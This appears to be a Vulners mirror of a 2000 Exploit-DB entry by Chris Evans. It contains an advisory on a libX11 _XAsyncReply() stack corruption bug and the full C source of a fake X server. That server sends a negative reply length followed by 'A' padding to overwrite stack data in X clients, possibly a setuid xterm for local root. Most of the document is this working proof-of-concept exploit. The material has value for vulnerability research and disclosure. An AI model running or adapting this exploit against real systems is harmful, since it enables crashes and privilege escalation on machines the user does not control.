Lucene search
K

X 11.0/3.3.3/3.3.4/3.3.5/3.3.6/4.0 - libX11 '_XAsyncReply()' Stack Corruption

🗓️ 19 Jun 2000 00:00:00Reported by Chris EvansType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 21 Views

Vulnerability in libX11 allows stack corruption via negative size in _XAsyncReply() function.

Code
// source: https://www.securityfocus.com/bid/1408/info

A vulnerability exists in the _XAsyncReply() function of libX11. This function utilizes size information retrieved as part of a client supplied packet. This value is a signed integer. By forcing this value to be negative, it becomes possible to cause stack corruption. It is further possible to use this stack corruption to overwrite the return address on the stack. In theory, this could be used to execute arbitrary code. On systems where there are setuid X applications, such as xterm, it is possible for a local user to gain root.

This code requires that the user be able to run a fake X server bound to port 6000. This requires that X not be running already. As port 6000 is not privileged, any user can bind to the socket. It appears that this attack requires local access, in order to launch the xterm.

This vulnerability has been demonstrated on versions of X from XFree86. It is believed that the same vulnerability exists in the standard X distribution XFree86 is derived from, X11R6.x, from Open Group, although this has not been confirmed.

/* Chris Evans - demo of libX11 flaw. Tricky one this. */
  
/* Disclaimer - I haven't bothered to beutify this. It probably is tied
 * to little endian machines. Return values go unchecked, etc. ;-)
 */ 
  
#include <unistd.h>             
#include <string.h>
  
#include <sys/types.h>    
#include <sys/socket.h>         
  
#include <netinet/in.h>                
  
int
main(int argc, const char* argv[])
{ 
  static int port = 6000;       
  
  char sendbuf[32768];          
  char recvbuf[1024];      
  struct sockaddr_in local_addr;
  struct sockaddr_in remote_addr;
  int remote_addrlen;     
  int listen_fd;
  int accept_fd;
  char c;                 
  short s;
  int i;                  
  unsigned int bigsend;   
  
  listen_fd = socket(PF_INET, SOCK_STREAM, 6);
  
  local_addr.sin_family = AF_INET;
  local_addr.sin_addr.s_addr = INADDR_ANY;
  local_addr.sin_port = htons(port);
  bind(listen_fd, (struct sockaddr*)&local_addr, sizeof(local_addr));
  
  listen(listen_fd, 1);
  
  accept_fd = accept(listen_fd, (struct sockaddr*)&remote_addr,  
                     &remote_addrlen);
  
  /* Read initial client connection packet */
  read(accept_fd, recvbuf, 12); 
  /* Absorb auth details */
  s = * ((short*)&recvbuf[6]);
  s += * ((short*)&recvbuf[8]);
  read(accept_fd, recvbuf, s);
  
  /* Send back the nasty reply */
  /* xConnSetupPrefix */
  c = 1;                        /* CARD8 success: xTrue */
  write(accept_fd, &c, 1);
  c = 0;                        /* BYTE lengthReason: 0 */
  write(accept_fd, &c, 1);
  s = 11;                       /* CARD16: majorVersion: 11 */
  write(accept_fd, &s, 2);
  s = 0;                        /* CARD16: minorVersion: 0 (irrelevant) */
  write(accept_fd, &s, 2);
  s = (32 + 40) >> 2;                  /* CARD16: length (of setup packet) */
  write(accept_fd, &s, 2);
   
  /* xConnSetup, 32 bytes */
  i = 0;                        /* CARD32: release */
  write(accept_fd, &i, 4);      
  i = 0;                        /* CARD32: ridBase */
  write(accept_fd, &i, 4);      
  i = 1;                        /* CARD32: ridMask: 1. 0 causes 100% CPU */
  write(accept_fd, &i, 4);
  i = 0;                        /* CARD32: motionBufferSize */
  write(accept_fd, &i, 4);
  s = 0;                        /* CARD16: nbytesVendor */
  write(accept_fd, &s, 2);
  s = 0;                        /* CARD16: maxRequestSize */
  write(accept_fd, &s, 2);
  c = 1;                        /* CARD8: numRoots: need 1+ to work */
  write(accept_fd, &c, 1);
  c = 0;                        /* CARD8: numFormats */
  write(accept_fd, &c, 1);
  c = 0;                        /* CARD8: imageByteOrder */
  write(accept_fd, &c, 1);
  c = 0;                        /* CARD8: bitmapBitOrder */
  write(accept_fd, &c, 1);
  c = 0;                        /* CARD8: bitmapScanlineUnit */
  write(accept_fd, &c, 1);
  c = 0;                        /* CARD8: bit:mapScanlinePad */
  write(accept_fd, &c, 1);
  c = 0;                        /* KeyCode (CARD8): minKeyCode */
  write(accept_fd, &c, 1);
  c = 0;                        /* KeyCode (CARD8): maxKeyCode */
  write(accept_fd, &c, 1);
  i = 0;                        /* CARD32: pad */
  write(accept_fd, &i, 4); 
  
  /* xWindowRoot x 1 - 40 bytes */
  /* Contains a "nDepths" - no further data needed if it's set to 0 */
  memset(sendbuf, '\0', 40);
  write(accept_fd, sendbuf, 40); 
  
  /* read 64 bytes of X requests */
  /* From:
   * xCreateGC, 20 bytes + 4 bytes of values (i.e. 1)     
   * xQueryExtention, 20 bytes - querying for big requests
   * xGetProperty, 24 bytes - querying for XA_RESOURCE_MANAGER
   */
  read(accept_fd, recvbuf, 64); 
  
  /* Reply to xQueryExtension - an async reply */ 
  c = 1;                        /* type (BYTE): X_Reply (1) */
  write(accept_fd, &c, 1);
  c = 0;                        /* varies */
  write(accept_fd, &c, 1);
  s = 2;                        /* sequenceNumber (CARD16): 2nd */
  write(accept_fd, &s, 2);
  i = -17;                      /* length (CARD32): signed games here */
  write(accept_fd, &i, 4); 
  i = 0x41414141;               /* pad (CARD32); 6 of them */
  /* NOTE - in this program's current form, it seems to be these values
   * which make their way onto the stack, overwriting a function pointer
   */ 
  write(accept_fd, &i, 4);
  write(accept_fd, &i, 4);
  write(accept_fd, &i, 4);
  write(accept_fd, &i, 4);
  write(accept_fd, &i, 4);
  write(accept_fd, &i, 4);
  
  /* Now we've got to send a _lot_ of data back to the client - it's trying
   * to read ~4Gb, grrr.  
   */ 
  
  c = 0;                        
  bigsend = (unsigned int)-17;
  bigsend <<= 2;       
  while (bigsend > 0)     
  { 
    unsigned int to_send = bigsend;
    if (to_send > 32768)
    {
      to_send = 32768;          
    }
  
    write(accept_fd, sendbuf, to_send);
    bigsend -= to_send;
  
    if (!c)
    {
      printf("to_go: %u\n", bigsend);
    }     
    c++;
  }
   
  /* Send another xreply - the first 28 bytes are read onto
   * the stack.
   */
  /* NOTE - in its current form, these A's make their way to some unspecified
   * area of stack. In testing I've easily clobbered a return address with
   * these
   */ 
  memset(sendbuf, 'A', 28);
  write(accept_fd, sendbuf, 28);
  
  memset(sendbuf, '\0', 32);    
  /* First char of buffer, 0, represents X_Error */
  write(accept_fd, sendbuf, 32);
  
  while(1);
}     

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation